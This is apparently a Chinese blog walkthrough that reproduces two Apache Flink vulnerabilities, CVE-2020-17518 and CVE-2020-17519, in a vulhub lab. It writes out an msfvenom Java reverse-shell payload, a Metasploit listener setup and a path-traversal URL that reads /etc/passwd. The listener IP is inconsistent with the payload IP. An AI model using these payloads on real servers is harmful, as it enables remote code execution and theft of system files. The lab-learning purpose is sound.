- 起序:漏扫完看报告的时候发现的,复现学习一下。
一、靶场环境
使用的是
github
上的vulhub
环境。因为Flink
中的CVE-2020-17518
和CVE-2020-17519
在Flink/1.11.2
版本都存在。
1、漏洞描述:任意文件上传 & 未授权访问
CVE 编号 | 名称 | 危害 |
---|---|---|
CVE-2020-17518 | 任意文件上传 | 应用系统在文件上传功能处对用户上传文件类型、格式、内容等做合法性校验, 导致攻击者可以上传Webshell(.php、.jsp、asp等)恶意脚本文件, 从而可能导致在远程服务器上执行任意恶意脚本文件,从而直接获取应用系统权限。 |
CVE-2020-17519 | 未授权访问 | 未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷, 导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。 |
2、影响版本范围
CVE 编号 | 影响版本范围 |
---|---|
CVE-2020-17518 | Apache:Apache Flink: 1.5.1 - 1.11.2 |
CVE-2020-17519 | Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2 |
二、搭建环境
1、启动环境
自行安装
vulhub
。
# Run environment 运行环境
docker-compose up -d
2、访问
- http://192.168.2.129:8081/
三、漏洞利用
1、CVE-2020-17518
任意文件上传:
Apache Flink 1.5.1
引入了REST处理程序,该处理程序允许通过经过恶意修改的HTTP HEADER
将上传的文件写入本地文件系统上的任意位置。
1、生成 jar 包格式木马
使用的 kali 中的 msfvenom 工具。生成的文件所在目录自定义,我是放在了 root 用户目录。
msfvenom -p java/shell_reverse_tcp lhost=192.168.2.130 lport=1314 -f jar >~/1.jar
2、启动 msf 监听
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.3.130
# 设置监听端口
set lport 1314
# 执行
exploit
3、上传文件
根据下面顺序依次操作。
4、获取到反弹的 shell
当上一步点击了 Submit 之后,在 msf 监听这里,稍微等一下,就可以看到已经获取到了靶机反弹的 shell。
2、CVE-2020-17519
未授权访问:
Apache Flink 1.11.0
中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager
进程的REST接口
读取JobManager
本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。
http://192.168.2.129:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
四、漏洞修复
官方已发布安全版本,请及时下载升级至安全版本。
如果对您有帮助,点个赞再走呗。